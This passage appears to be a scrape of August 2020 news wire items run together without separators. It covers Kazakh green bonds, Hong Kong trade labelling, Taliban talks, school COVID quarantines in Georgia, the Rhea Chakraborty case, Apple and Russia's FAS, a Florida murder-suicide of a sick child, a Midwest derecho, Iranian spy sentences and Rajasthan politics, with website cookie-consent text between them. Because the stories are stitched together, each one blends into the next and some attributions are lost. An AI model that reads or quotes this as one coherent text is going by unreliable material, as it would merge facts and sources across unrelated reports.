Digital Marketing, Manchester Metropolitan University, UK ; Prof Hajer Kefi Professor of MIS & Digital Marketing, Paris School of Business, France ; Dr Hatice Kizgin, Senior Lecturer & Associate Dean, University of Bradford, UK ; Dr Anjala S. Krishen, Professor of Marketing and Director of MBA Programs ; University of Nevada, Las Vegas USA ; Dr. Emmanuel Mogaji Lecturer in Advertising and Marketing Communications, University of Greenwich, UK ; Dr Mohammad Rahman Associate Professor of Marketing, Shippensburg University of Pennsylvania, USA ; Prof Nripendra P Rana Professor in Digital Marketing, University of Bradford, UK ; Dr Sanchayan Sengupta Assistant Professor of Marketing, ESSCA School of Management, France ; Dr Teck Ming (Terence) Tan Assistant Professor of Marketing, Oulu Business School, University of Oulu, Finland ; Dr Laurie Hughes Lecturer in Strategic Operations, School of Management, Swansea University, UK. The Public Relation team of symbiosis also gave pre-event publicity for the event which helped in attracting participants from Australia Bangladesh Canada China Egypt Finland, France, India, Malaysia, Nepal, New Zealand, Pakistan, Saudi Arabia, United Kingdom and United States of America. The tech support for the international webinar was given by Senior Network Administrator Mr Rajesh Bagewadi of SIBM Pune. The SIBM Pune student team 'iSmart' was in charge of preparing the creatives and the digital promotion of the event. The webinar gave food for thought to the participants and also gave a lot of research ideas which could be taken by graduate management students. This story is provided by Digpu. ANI will not be responsible in any way for the content of this article. (ANI/Digpu) DISCLAIMER (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BAKU, Azerbaijan, Aug.11 By Nargiz Sadikhova Trend: Kazakhstans Damu Entrepreneurship Development Fund in cooperation with United Nations Development Program (UNDP) has issued green finance bonds on the Astana International Exchange (AIX), Trend reports with reference to the Astana International Finance Center (AIFC). The green finance bonds in the amount of 200 million tenge ($475,917) with maturity of 36 months are aimed at reducing the risks of investments in renewable energy sources (RES). The coupon rate of the bonds is 11.75 percent. This placement is the first listing of securities that comply with the green principles in AIXs Green Bond Rules and the first listing of green bonds in Kazakhstan. The offering proceeds will be placed with second-tier banks and microfinance organizations for further financing of small-scale RES investment projects undertaken by small and medium businesses within the Damu Funds green financing framework. Interest payable by the approved borrowers to Damu Fund under the program will be partially subsidized by UNDP, which will also provide technical support to the fund in evaluation and selection of eligible RES investment projects. BCC Invest JSC acts as a lead manager of the green bond offering by Damu Fund on the AIX. "The listing of green bonds on the AIX is an important step of Damu Fund in the implementation of the strategy of green financing and support for micro, small and medium-sized businesses. We hope that this issuance will serve as an incentive for the development and financing of RES and energy efficiency projects. If there is demand for 'green' financing, the Damu Fund will be happy to consider the possibility of additional issuance of green bonds to invest in such projects," CEO of Damu Fund Gaukhar Buribayeva said. --- Follow the author on twitter: @nargiz_sadikh Until recently, Washington had treated imports from Hong Kong differently to goods from mainland China Goods imported from Hong Kong must be marked "Made in China" to be sold in the United States as part of Washington's punitive response to a sweeping clampdown on the city, US customs authorities were set to announce Tuesday. Last month, President Donald Trump retaliated to Beijing's imposition of a tough new security law in Hong Kong by removing special trading privileges for the financial hub, which in 2018 sold goods worth $6.3 billion to the United States. Among the biggest categories of these imports were electrical machinery, precious metals and stones, and plastics. "With respect to imported goods produced in Hong Kong, such goods may no longer be marked to indicate 'Hong Kong' as their origin, but must be marked to indicate 'China'," said a draft document from US Customs and Border Protection due to be published Tuesday. Hong Kong said the expected move ignored the city's status as a separate member of the World Trade Organization and violated international trade rules. "Hong Kong enjoys the unique status as a separate customs territory... which is not granted nor can be revoked by any other country," the city's government said in the statement. The new rule comes at a time of rapidly deteriorating relations between China and the US -- although fears the world's two biggest economies could renew their damaging trade war were tempered by weekend talks to renew a January tariffs pact. Until recently, Washington had treated imports from Hong Kong differently to goods from the rest of China, in recognition of the city's semi-autonomous status. However, after Beijing imposed the security law in June to quell last year's huge and often violent pro-democracy protests, Trump vowed that this would change. The customs document said the move was in accordance with an executive order made by Trump last month, "due to the determination that Hong Kong is no longer sufficiently autonomous to justify differential treatment in relation to China". Story continues A 45-day grace period would be granted to importers following the announcement to allow them time to ensure no goods were marked "Made in Hong Kong", it added. Trump's order, signed on July 14, also ends preferential treatment for Hong Kong passports, revokes licence exceptions for certain exports, suspends Washington's extradition agreement with the city and stops any joint police training. The United States last week imposed sanctions on a group of Chinese and Hong Kong officials -- including city leader Carrie Lam -- in response to the crackdown. China condemned the sanctions as "barbarous" and imposed retaliatory sanctions on some senior American politicians and leading human rights campaigners. burs-je/qan The first round of talks expected to be held in Doha, will be led by Abbas Stanikzai, the former chief negotiator of the Taliban, TOLO News quoted spokesman Suhail Shaheen as saying in an interview with BBC Pashto on Sunday. Kabul, Aug 10 (IANS) The Taliban is ready to begin intra-Afghan negotiations within a week if the prisoner release process is completed, a spokesman of the militant group announced. His remarks come hours after the Loya Jirga, the grand assembly of Afghan elders, approved the release of the remaining 400 high-value Taliban prisoners, a decision that was deemed a key hurdle to the start of the intra-Afghan negotiations. In response to a question on the Taliban's willingness for a ceasefire, which was called for at the Jirga, Shaheen said: "The ceasefire is part of the intra-Afghan negotiations agenda that will be discussed there. It has been mentioned in the Doha agreement." He said that the Taliban has not attacked major provinces and has not tried to capture centres of provinces, referring to a question on reduction in violence. "We also have not attacked the capital, Kabul. We have reduced violence," he said. Shaheen said the group has the will for peace, and cited its opening of the Qatar office as an example. He however, criticized a delay in the completion of the prisoner release process and said the group will continue to implement its commitments to the agreement they signed with the US in Doha in February. According to government data, out of the 400 prisoners in question, 156 of them have been sentenced to death, 105 of them are accused of murder, 34 of them are accused of kidnapping that led to murder, 51 of them are accused of drug smuggling, 44 of them are on the blacklist of the Afghan government and its allies, 6 of them are accused of other crimes, 4 are accused of unspecified crimes, TOLO News reported. The list of 5,000 prisoners was given to the Afghan government by the Taliban to be released ahead of intra-Afghan negotiations. So far, the government has released 4,600 of the prisoners on the Taliban list, and an additional 500 who were not on the Taliban list. These last 500 were freed during Eid in response to the Taliban's announcement of a ceasefire. --IANS ksk/ Cookie Preferences Cookie List Cookie List A cookie is a small piece of data (text file) that a website when visited by a user asks your browser to store on your device in order to remember information about you, such as your language preference or login information. Those cookies are set by us and called first-party cookies. We also use third-party cookies which are cookies from a domain different than the domain of the website you are visiting for our advertising and marketing efforts. More specifically, we use cookies and other tracking technologies for the following purposes: Strictly Necessary Cookies We do not allow you to opt-out of our certain cookies, as they are necessary to ensure the proper functioning of our website (such as prompting our cookie banner and remembering your privacy choices) and/or to monitor site performance. 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You may opt out of our use of such cookies (and the associated sale of your Personal Information) by using this toggle switch. You will still see some advertising, regardless of your selection. Because we do not track you across different devices, browsers and GEMG properties, your selection will take effect only on this browser, this device and this website. Social Media Cookies We also use cookies to personalize your experience on our websites, including by determining the most relevant content and advertisements to show you, and to monitor site traffic and performance, so that we may improve our websites and your experience. You may opt out of our use of such cookies (and the associated sale of your Personal Information) by using this toggle switch. You will still see some advertising, regardless of your selection. Because we do not track you across different devices, browsers and GEMG properties, your selection will take effect only on this browser, this device and this website. Targeting Cookies We also use cookies to personalize your experience on our websites, including by determining the most relevant content and advertisements to show you, and to monitor site traffic and performance, so that we may improve our websites and your experience. You may opt out of our use of such cookies (and the associated sale of your Personal Information) by using this toggle switch. You will still see some advertising, regardless of your selection. Because we do not track you across different devices, browsers and GEMG properties, your selection will take effect only on this browser, this device and this website. More than 860 students and teachers from a single school district in Georgia are currently quarantining after dozens of COVID-19 infections were reported when in-person classes resumed a week ago. Schools in the Cherokee County district have asked 826 students and 42 teachers to quarantine for 14 days due to possible coronavirus exposure just six days into the new school year. The 42,000-student district, which is just outside Atlanta, said on Monday that 38 students and 12 teachers had tested positive for the virus in the week that in-person classes resumed. Those who have been asked to quarantine were identified as part of the district's contact tracing efforts as people who may have come into close contact with an infected student or teacher. The school district drew national attention last week when a photo of students at Etowah High School squeezed together for first-day-of-school senior photos without wearing masks. Schools in Georgia's Cherokee County district have asked 826 students and 42 teachers to quarantine for 14 days due to possible coronavirus exposure. District drew national attention last week when a photo of students at Etowah High School squeezed together for first-day-of-school senior photos without masks Cherokee County Schools Superintendent Brian Hightower sent a letter home to parents saying that many of the seniors in those photos 'wear masks routinely' even though the school doesn't require them to. Nearly 300 students at Etowah High School are currently quarantining. The school district is posting information about all confirmed infections and quarantines on its website in a bid to be transparent. 'As made clear in our reopening of school plan, we anticipated positive tests among students and staff could occur, which is why we put a system into place to quickly contact trace, mandate quarantines, notify parents and report cases and quarantines to the entire community,' Cherokee spokeswoman Barbara Jacoby said. 'We are not hesitating to quarantine students and staff who have had possible exposure - even if the positive test was prompted by possible exposure rather than symptoms.' No statewide mask mandate is currently in place in Georgia but the Cherokee County school district has encouraged students to wear them. It comes as Georgia's governor Brian Kemp said on Monday that the reopening of some of the state's schools amid the pandemic outbreak had gone well - except for the widely shared photos of students crowded together without masks. Students at Sequoyah High School change classes on 4th day of first week of face-to-face school in Cherokee County The state of Georgia currently has more than 219,000 confirmed COVID-19 cases 'I think quite honestly this week went real well other than a couple of virtual photos,' Gov. Kemp said at a news conference with US Surgeon General Jerome Adams. Kemp and the surgeon general both remarked that Georgia can expect to see newly reported cases as schools and businesses reopen. 'I want the people of Georgia to know that we don't have to wait until we get a vaccine,' Adams said. 'We don't have to hide until we get a miracle therapeutic.' But he also warned that students need to follow health officials' guidance, including social distancing and wearing masks. 'To the kids in schools, I want you to understand: If you want prom in person next year, if you want to go to spring break, if you want an in-person graduation, then we need you to work together,' he said. Democrats, however, strongly pushed back against the assessment that school reopenings were proceeding safely, blaming Kemp and President Donald Trump for failures. More than 80 Georgia school districts have opened or plan to open for some kind of in-person instruction by August 17, according to figures kept by school reform group GeorgiaCAN. 'It's so risky and our caseload is not being effectively managed, that there is just no way right now that we can sensibly open schools for in-person instruction,' said Gwinnett County school board member Everton Blair, a Democrat. 'Then you see evidence of the very same thing in counties across the state, where immediately, the first day that they open, they're immediately quarantined.' Rhea Chakraborty's lawyer said the FIR lodged in Bihar by Sushant Singh Rajput's father against her in relation to his son's suicide has absolutely no connection with any offence in Patna. Actress Rhea Chakraborty told the Supreme Court on Tuesday, 11 August, that the FIR lodged in Bihar by late actor Sushant Singh Rajput's father against her in relation to his son's suicide has absolutely no connection with any offence in Patna. A bench of Justice Hrishikesh Roy was told by senior advocate Shyam Divan, who was representing the actress, that there appears to be a considerable amount of state interference, influence and therefore an apprehension of bias. He referred to the timeline in the case and said that there was a considerable delay of over 38 days in lodging of the FIR at Patna. Divan referred to the complaint by Rajputs father to police in Patna and said that all averments mentioned in the complaint are relatable to Mumbai. He said that Mumbai Police had recorded statements of 56 persons in the case and the probe has proceeded quite substantially. The hearing in the matter is going on. On 5 August, the top court had said that the truth behind the unfortunate death of the "gifted and talented artist" should come out. The Centre had apprised it of having accepted the Bihar governments recommendation for a CBI probe in the matter. The top court had directed Rajputs father Krishna Kishore Singh as also Bihar and Maharashtra to respond within three days to Chakraborty's plea seeking transfer of an FIR, accusing her of abetting the actor's suicide, from Patna to Mumbai. The 34-year-old Bollywood actor was found dead in his apartment in suburban Bandra in Mumbai on 14 June. * A collection of Suicide prevention helpline numbers are available here. Please reach out if you or anyone you know is in need of support. The All-India helpline number is: 022 2754 6669 Russian competition watchdog FAS on Monday said that Apple Inc has abused its dominant position in the mobile apps market through its App Store for iOS devices and will issue an order demanding that the company resolve regulations breaches. An Apple spokesman said the company plans to appeal against the FAS ruling. The Russian ruling comes against the backdrop of European Commission investigations into Apple and the App Store's rules, including requirements that app developers use its own in-app purchase system. The FAS cited the need to download apps for the Apple's iOS operating system via its App Store. It also said that Apple has unlawfully reserved rights to block any third-parties' apps from the App Store. The investigation by the FAS followed a complaint from cybersecurity company Kaspersky Lab, which had said that a new version its Safe Kids application had been declined by Apple's operating system. It said that Apple had released version 12 of its own parental control app, Screen Time, which had similar functions to the Kaspersky programme. Parental control apps allow parents to control their children's phone and tablet usage. Apple has said it removed several parental control apps from its App Store because they "put users' privacy and security at risk". Also read: How Facebook Ireland employee saved the life of a Delhi man Modon Properties, mandated by the Government of Abu Dhabi to develop integrated tourism destinations and sustainable residential communities, has signed a long-term lease agreement with LuLu Group International for the operation of retail outlets at the Courtyard Mall complex in Riyadh City in Abu Dhabi. The agreement is the result of Modons ongoing cooperation with leading retailers as a part of its efforts to meet the needs of residents of Riyadh City and ensure the steady progress and on-schedule delivery of the Courtyard Mall, a statement said. The 25-year lease covers the rental of an area of 3,661 sq m within Riyadh Citys Courtyard Mall commercial complex for the operation of the LuLu Hypermarket chain of stores. The development of the commercial complex in Riyadh City is in line with Modons objectives and the Abu Dhabi Governments strategy of building vibrant residential communities that incorporate the highest standards of sustainability and cater to the needs of citizens and residents by offering an integrated range of community facilities, the statement said. The commercial complex extends over an area of 8,683 sq m at lot 23 within the North of Riyadh City. Upon its completion, the project is slated to include seven restaurants, 13 shops, and a supermarket. The assortment of outlets is designed to meet the needs of residents when it comes to shopping for groceries and household items, further enhancing the integrated nature of the community. Saifee Rupawala, Chief Executive Officer of LuLu Group, said: We are proud to launch our first ever full-fledged hypermarket in Riyadh City. It has always been our goal to make the highest quality products both affordable and accessible to shoppers in metropolitan areas as well as in residential communities, so no one needs to drive a long distance. Following the express store that we opened last year, we are delighted to make this new shop possible in partnership with Modon, in order to fulfil the growing demand for lifestyle essentials within the vicinity. Upon completion, the entire Riyadh City project will include 28,574 residential plots, 26,696 villas, 2,693 townhouses, four universities, 33 schools, 27 nurseries, one hospital, 33 medical clinics, 182 mosques, eight civil defence centres, 18 fuel stations, 16 government facilities, 60 social service centres and 213 commercial plots. Riyadh City has been designed to be close to major road networks leading to and from Abu Dhabi City, as well as important urban and industrial areas. The new city is 30 km from the island of Abu Dhabi, and a short distance from a range of major landmarks. Covering an area of almost 82 million sq m, equivalent to 85% of the area of Abu Dhabi island, Riyadh City is ideally situated near the UAEs capital. - TradeArabia News Service The 11-year-old girl who was shot dead by her father before he turned the gun on himself in a murder-suicide has been identified. Loved ones have described Angela Ng as a happy, active little girl who was adored by her parents and loved to dance and practice martial arts. The family's world was turned upside down when Angela became terminally ill from cancer in her femur, according to relatives, friends and neighbors. Angela's life came to a devastating end on Monday when her father, Kenbian Ng, fatally shot her before killing himself at the family's home in Davie, Florida. The girl's mother was cooking breakfast when she heard the gunfire ring out and ran in to find both her daughter and husband shot. Angela Ng has been identified as the 11-year-old girl who was shot and killed by her father before he turned the gun on himself at their home in Davie, Florida, on Monday Angela's happy childhood is captured in dozens of photos posted on social media by her parents. The family's world was turned upside down when Angela became terminally ill from cancer in her femur WHEN, according to relatives, friends and neighbors Angela's life came to a devastating end on Monday when her father fatally shot her before killing himself at the family's home in Davie. Officials are seen bringing the girl's body out Davie police spokesman Lt Mark Leone confirmed that the incident is being investigated as a murder-suicide. 'While we were speaking to the mother, we were told that the child has a debilitating, terminal illness, which is a possibility for why this tragic incident occurred,' Leone said. 'It was a devastating terminal illness. She was not going to get any better. It is such a tragic situation, a terrible situation.' The Broward Medical Examiner's Office on Tuesday confirmed that the victims were Angela and Kenbian. Angela's happy childhood was captured in dozens of photos posted on social media by her proud parents. Many of the photos showed the family on vacations around the world while others showed Angela receiving a diploma for martial arts and being kissed by a dolphin. Angela's mother was cooking breakfast when she heard gunfire ring out in another room. The family are pictured in a photo posted on Facebook in 2013 Angela shows off her martial arts diploma in a photo her dad posted to Facebook in 2016 Everything changed when she was diagnosed with cancer and began undergoing chemotherapy as her health declined rapidly. Relatives said Angela was scheduled to have her leg amputated on August 28, less than three weeks after she was killed. Miriam Casanova, whose husband Jorge is the cousin of Angela's mother, described the devastating toll the girl's illness took on her parents in an interview with the Sun Sentinel. Casanova said she and her husband had been wanting to call and check in on the family but found it difficult to find the words to console Angela's parents. Recounting the last time she spoke to Angela's father a few months ago, she said: 'He couldn't talk. He just cried.' Kenbian's LinkedIn profile shows he worked as a VP of Operations at Watsco, a distributor of air conditioning and refrigeration equipment based in Miami. Angela smiles as she swims with dolphins during a family vacation in 2014 The Ng family is seen on a beach in a photo posted to Facebook in 2015. Relatives have described the devastating toll Angela's cancer diagnosis took on her parents It remains unclear what led Kenbian to take his daughter's life and his own. Lt Leone said that the mother was absolutely stunned and devastated by the horrific act. Witnesses outside the home on Monday described hearing the mother wailing as police arrived. 'I heard the mother come right through my yard. They picked her up, put her in the car, and she screamed a noise like I knew I've heard before,' neighbor Charlene Wells told WSVN. 'She was very upset. Being the mother of a child that was killed in a car accident and how painful it is, I can imagine what they're going through now. It's awful. I feel bad for her. I really do.' Neighbors Thelma and George Napolitano, who have known the Ng family since Angela was a baby, said they never could have seen this coming. 'To lose your husband and your child, terrible,' Thelma told WSVN. The Napolitanos said Angela's mother recently told them that the little girl was very sick. 'She said something happened to Angela. She's in the hospital, and I don't know when she's coming home,' Thelma recalled. 'It's been a terrible shock,' George said of the double shooting. He said Kenbian was 'a gentleman' who would always check on his neighbors to make sure they were okay when bad weather swept through the area. Authorities are seen wheeling Angela's body out of her home on Monday after the killings Investigators are seen outside the family's home in Davie on Monday afternoon. A police spokesman confirmed that the case is being investigated as a murder-suicide The murder-suicide was especially shocking given that its very rare for such acts to involve a caregiver. 'It's almost like a lightning strike,' Scott Eliason, a psychologist at the Idaho Department of Corrections, told the Sun Sentinel. 'Usually these things are impossible to predict and even if someone has every possible risk factor you can think of for violence or suicide, in the vast majority of cases, they don't do this.' Eliason said when murder-suicides involving caregivers do occur, it's often because the perpetrator is worn out and depressed. 'Sometimes you get what's called caregiver burnout where you have a caregiver taking care of a terminally ill person and that stress leads to some kind of depression,' he said. 'They're worried about abandoning the person, so that's where the murder comes in.' Lt Leone said the case is still being actively investigated. Dozens of officials remained at the crime scene for hours after Angela's body was removed from the home. Hryvnia strengthens to UAH 27.60 to U.S. dollar on Aug 11 10:55, 11.08.20 9498 The official forex rate against the euro for Monday is fixed at UAH 32.47 per euro Winds gusting up to 160 kilometres per hour left a path of destruction. A rare storm with power similar to a hurricane swept across the US Midwest uprooting trees, tossing vehicles, and causing widespread property damage. More than a million homes and businesses were left without power on Monday as it moved through Chicago and into Indiana and Michigan. The storm, known as a Derecho, lasted several hours as it tore from eastern Nebraska across Iowa and parts of Wisconsin and Illinois. Patrick Marsh, science support chief at the National Weather Service Storm Prediction Center in Norman, Oklahoma, told reporters, Wind speeds measured that of a major hurricane, and likely caused more widespread damage than a normal tornado. Marsh went on to compare the event with the devastating Super Derecho of 2009, which was one of the strongest on record and travelled more than 1,600km (1,000 miles) in 24 hours, causing $500m in damage and widespread power outages, and killed several people. In central Iowa, several people were injured and widespread property damage was reported in Marshall County, as 160km/h winds (100mph) swept through the area. Across the state, large trees fell on cars and houses and vehicles were blown over and off highways. On Monday night, Cedar Rapids in eastern Iowa issued a 10pm curfew that was set to continue until further notice as crews worked to clean up fallen debris. The National Weather Service reported a wind gust of 148km/h (92mph) in northern Illinois, near Dixon, a town 160km (100 miles) west of Chicago, and the storm left downed trees and power lines that blocked roadways in Chicago and its suburbs. After clearing Chicago late afternoon, the most potent part of the storm system moved east over central Indiana, until eventually weakening during Monday night. Iran occasionally arrests those accused of spying on behalf of foreign countries, including the US and Israel. Iranian courts sentenced two men to 10 years each in jail for spying on the country for the United Kingdom, Germany and Israel in separate cases. Judiciary spokesman Gholamhossein Esmaili said one of the men, Massud Mossaheb, had been spying for Mossad and Germany in the guise of the general secretary of the Austrian-Iranian Society. Mossaheb was found to have been providing them with information on Irans missile, nuclear, nanotechnology and medical fields, he said. According to Austrias Der Standard newspaper, Mossaheb had travelled to Iran to accompany a delegation from an Austrian research centre, which had opened a subsidiary near Tehran. After his detention in January 2019, his family had no contact with him for weeks before eventually learning he was being held in Tehrans notorious Evin prison. A second man, Shahram Shirkhani, spied for British intelligence services and tried to recruit Iranian officials for the UKs MI6 agency, said Esmaili. Shirkhani had passed on classified information about Irans Central Bank and defence ministry contracts, he said. Spies executed Esmaili also said five more people had been arrested recently for alleged espionage in the foreign, defence, and industries ministries, companies working in the energy industry, and Irans atomic agency. No details on the other detainees were given. Iran occasionally arrests and convicts those accused of spying on behalf of foreign countries, including the United States and Israel. In July, Iran executed Reza Asgari, a former defence ministry employee convicted of spying on behalf of the Central Intelligence Agency (CIA). Mahmoud Mousavi Majd, a member of Irans elite Islamic Revolutionary Guard Corps, was also executed after being convicted of providing information to the US and Israel about the top Guard commander General Qassem Soleimani, who was killed in a US drone attack in Baghdad in January of this year. Tehran announced in December it arrested eight people linked to the CIA involved in nationwide street protests that erupted the month before over a surprise petrol price rise. It also said in July 2019 it had dismantled a CIA spy ring, arresting 17 suspects between March 2018 and March 2019 and sentencing some of them to death. US President Donald Trump at the time dismissed the claim as totally false. US President Donald Trump on Monday (August 10) said that India is at second place when it comes to coronavirus COVID-19 testing while the US is at top position. According to Trump, India has a population of 1.5 billion people and it has conducted 11 million tests, while the US has tested 65 million people. "We have tested close to 65 million people and no country is even close to that number. India would be second at 11 million (tests) and they have 1.5 billion people. We have the number one testing in the world by far and also the highest quality tests," President Trump said. Talking about coronavirus vaccine, President Trump expressed confidence that a vaccine for the deadly viral disease will be prepared by the end of 2020. "I feel strongly that we will have a vaccine by the end of the year and it will be put into service as soon as we get it," he added. President Trump also claimed that the US has registered a 14% decline in COVID-19 cases in the last seven days. "Nationwide we continue to see encouraging signs in the last seven days as in the last seven days we continue to see a decline in cases by 14 per cent, hospitalisations decrease by 7 per cent and fatalities decrease by 9 per cent," he noted. The US president once again said that people in America are upset with China because of what they did. Trump added that Iran will ink a new deal with the US if he comes to power again after winning the upcoming presidential election. Consider fiscal health in devising extra budget A fourth extra budget for this year appears inevitable to help people recover from flood damage in severely-hit regions throughout the country. The Moon Jae-in administration and the governing party need to work together to quickly draw up emergency outlays to speed up rehabilitation from the worst natural disaster in nine years. On Monday, Lee Hae-chan, chairman of the ruling Democratic Party of Korea (DPK), raised the idea of pushing for a supplementary budget for disaster relief. Lee said he would hold an emergency consultation meeting with the government to discuss the issue. Hs idea was supported by Kim Chong-in, the interim leader of the main opposition United Future Party (UFP). Timing is an important factor in disaster relief. Therefore, the DPK and the Moon administration should make financial aid available sooner rather than later. Even before an extra budget bill gets approval from the National Assembly, the government must mobilize emergency reserve funds estimated at 2.6 trillion won ($2.1 billion) to help those hit hard by the heavy rain, and to repair roads, river banks and farms destroyed in the flooding. However, the reserve funds are far from sufficient to cover the tremendous damage. According to the Central Disaster and Safety Countermeasures Headquarters, about 50 people are dead or missing. More than 2,500 houses have been inundated with water, displacing more than 7,000 residents, while 10,000 hectares of farmland have been damaged. But it is hard to estimate the extent of the damage because the heavy rain will continue throughout this week. Yet, officials say that an astronomical amount of money is required. The authorities have declared seven cities and counties in central regions as special disaster zones. More locations in the southern provinces will follow. If a new extra budget is laid out, it will mark the first time since 1959 that the country has come up with a supplementary budget four times within a year. The Moon government has already overseen three such outlays totaling 60 trillion won this year to cope with the coronavirus pandemic, and to create jobs and stabilize the people's livelihoods. It also put together a stimulus package worth 270 trillion won to minimize the fallout from COVID-19 and to speed up economic recovery. Few people would disagree that an additional supplementary budget for disaster relief is needed. But the question is whether the country can maintain its fiscal soundness. The liberal government plans to draw up a super budget of around 550 trillion won for next year, up 7 percent from this year's 513 trillion won, even as the country posted a budget deficit of 90 trillion won in the first half of 2020. The ratio of national debt to GDP has already hit a record high of 43.5 percent this year. That explains why Finance Minister Hong Nam-ki is somewhat reluctant to draft a new budget bill, despite knowing he cannot be against it. Yet, Hong, for his part, should pay attention to the country's deteriorating fiscal soundness. Policymakers and legislators need to act to avoid hurting the nation's fiscal health further by eliminating redundant spending, preventing money being wasted and ensuring the efficient execution of budget. Rajesh Asnani By Express News Service JAIPUR: The failure of Operation Kamal in Rajasthan and the return of Sachin Pilot to the Congress fold is a major jolt to the BJP. The high-profile rift in the Congress had raised the BJP's hope to repeat the Madhya Pradesh experiment in Rajasthan as party leaders in the state and at the central level had made extensive plans to use Sachin Pilots rebellion to topple the Gehlot government. Sources say that BJP strategists had made elaborate plans to make use of Congress infighting and the party was hoping to encash the Congress rift to return to power in Rajasthan. However, just as the BJP was getting ready to unseat Gehlot, frictions among state leaders and their own factionalism came to the fore. ALSO READ | Rajasthan power struggle: Ashok Gehlot prevails over Sachin Pilot, but at what price? However, their big hopes of Sachin Pilot crossing over with over 30 MLAs never materialized for despite staying in Manesar for about a month, the Pilot camp numbers could not rise beyond the 19 MLAs they had started with. In contrast, Gehlots numbers never came down below the 101 majority mark. Though the BJP still remained hopeful that with Pilots support they will be able to succeed in their game to dislodge the Gehlot government, Pilots return to the Congress fold on Monday evening has shattered all their hopes and calculations. For the moment, all their hopes of effecting a change of government in Rajasthan now stand dashed. One of the prime reasons for the BJP failure is the fact that the state party unit is also divided into many factions. Firstly, there is the RSS faction with state Chief Satish Poonia and Leader of Opposition Kataria as its prominent leaders. Then comes the faction loyal to PM Modi and Home Minister Amit Shah which is led by Union Minister Gajendra Singh Shekhawat. The third faction is of Vasundhara Raje loyalists. Each faction was keen that their chosen leader should be the next CM in case there is a change of government in Rajasthan. The BJP had to even shift about two dozen of its MLAs into a resort in Gujarat which reflects the growing turmoil within its ranks. Problems were compounded for the BJPs central leadership just when they were looking to bring down the Gehlot Government as their own clan was not united in Rajasthan. This prompted the BJP to park its MLAs in Gujarat fearing poaching and a scenario similar to Congress when Sachin Pilot brought the internal divisions to the fore. ALSO READ | Sachin Pilot and Rahul Gandhi meet in attempt to end Rajasthan crisis before assembly session While they may be shy of expressing their divisions openly, there are many leaders nurturing Chief ministerial dreams in the BJPs state unit. Raje loyalists became the most vocal and senior leader Kailash Meghwal and MLA Pratap Singhvi came out openly in support of Raje who still commands full loyalty of about 30 of the BJPs 72 MLAs in the state. Vasundhara Raje herself camped in Delhi over the past one week and her complaints about the state unit to the BJP central leadership went a long way in weakening the BJP resolve in Rajasthan. Raje's tough posturing with the BJP High Command in the last few days was perhaps the final straw as she played a key role in making the Central leadership realize the futility of trying to repeat an MP in Rajasthan. Vasundhara has been sidelined by the BJP High command for a long time but now she has emerged stronger after this episode. ALSO READ | Ashok Gehlot writes to Rajasthan MLAs, urges them to 'stand with truth' and 'save democracy' According to BJP sources, Raje was never keen to allow Sachin Pilots entry into the BJP or get back the power with Pilots support. In contrast, Union Minister Gajendra Singh Shekhawat had encouraged the alliance or understanding with Pilot to bring down the Gehlot government. However, Shekhawat himself got embroiled in the audio tape controversy which has spoilt his image and his efforts have borne no positive results. The BJPs aim now is to prevent any open reflection of its internal rift. After Pilots return to the Congress, the BJP has even postponed a meeting of its MLAs, earlier scheduled for Tuesday to after Janmashtami. Party leaders are disappointed at missing out a chance to topple the Gehlot government but as the Leaders of Opposition, Gulab Chand Kataria remarked, the party will now play an aggressive role in the coming Assembly session and will raise all issues that could put the Gehlot government in the dock. Californias top public health officer has resigned following data-collection failures that led to an undercount of coronavirus cases as the state was reporting a downward trend in COVID-19 infections, Governor Gavin Newsom said on Monday. Dr. Sonia Angell offered in a letter to step down as the director of the Department of Public Health over the weekend, and I accepted her resignation," Newsom told a news conference in Sacramento, the state capital. Calling it a personnel" issue, Newsom declined to say directly whether the departure of Angell less than a year into her tenure was related to computer problems that caused nearly 300,000 COVID-19 test results to go temporarily unprocessed. When pressed by reporters, the governor said, We all have a role and responsibility as it relates to what happens within our respective departments," adding, technology is always stubborn and challenging." The Los Angeles Times reported Angell notified department staff of her resignation in an internal email on Sunday. The dual roles she had filled, as director of the Public Health Department and as the states chief public health officer, will now be shared by two immediate successors. California Health Care Foundation executive Sandra Shewry was named acting Public Health Department head, while Dr. Erica Pan, who was public health officer for Alameda County, was appointed acting statewide health officer. The backlog of 295,000 test results was cleared over the weekend, and the data is now available to be processed by health authorities at the local level before being added to the statewide COVID-19 case file, the governor said. Despite confusion created by the lapse, Newsom said restoring the data in question would not alter the favorable trend seen in Californias coronavirus trajectory in recent weeks. He stressed that other key metrics unaffected by technical glitches were still showing improvement, including COVID-19 hospitalizations, intensive care unit admissions and the percentage of diagnostic tests coming back positive. California had recorded 561,006 confirmed COVID-19 infections and 10,378 deaths as of Sunday, among its 40 million residents. (Reporting and writing by Steve Gorman in Los Angeles; Additional reporting by Aishwarya Nair in Bengaluru; Editing by Kevin Liffey and Tom Brown) Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor WESTFORD, Mass., Aug. 11, 2020 /PRNewswire/ -- MedAcuity Software, the go-to U.S.-based software development partner for leading MedTech companies, announced today that it has teamed up with The Ventilator Project . MedAcuity will act in a pro bono advisory role to support their mission of developing a safer and more affordable ventilator to address the worldwide shortage exposed by the COVID-19 pandemic. Founded in late March of 2020 by robotics entrepreneur Tyler Mantel, The Ventilator Project has since cultivated a team of over 250 volunteers from diverse backgrounds ranging from The White House, Cornell University, Google, the San Francisco 49ers, and more. Through tireless engineering efforts, "AIRA" was createdan easily scalable ventilator that uses materials sourced from outside the biomedical supply chain. Due to the concerns and conditions of COVID, AIRA currently falls under the EUA (Emergency Use Authorization) designation, which allows the FDA and organizations to expedite a normally grueling and lengthy 510k process in order to help strengthen the nation's public health. To keep costs down, the team integrated supply chain and manufacturability into every level of the design process, reducing dependency on medical supply lines. "Seeing the devastation that hospital teams around the world were facing as the number of critical COVID patients began to exceed available ventilators, we recognized that something needed to be done quickly," said Tyler Mantel. "We're working under greatly expedited conditions, so it's particularly essential to patient safety that everything is done right from a compliance perspective the first time aroundand that's where MedAcuity's expertise will be invaluable." MedAcuity has over a decade of experience delivering software solutions for clients' most critical application development challenges for all classes of medical devices. Its core focus is supporting software development for the medical device industry, with over 100 software engineering experts covering the full software stack including firmware and embedded systems development, mobile application and GUI development, cloud and enterprise technologies, software design and development methodologies for heavy compliance-driven regulated environments, and cybersecurity. "When we heard what The Ventilator Project was aiming to do, we knew immediately that we wanted to get involved," said Susan Jones, engineering manager at MedAcuity. "In the cases of hospitalized COVID-19 patients, timely access to a ventilator can mean the difference between death or full recovery. By applying MedAcuity's expertise, we can help accelerate the process of ensuring AIRA's software 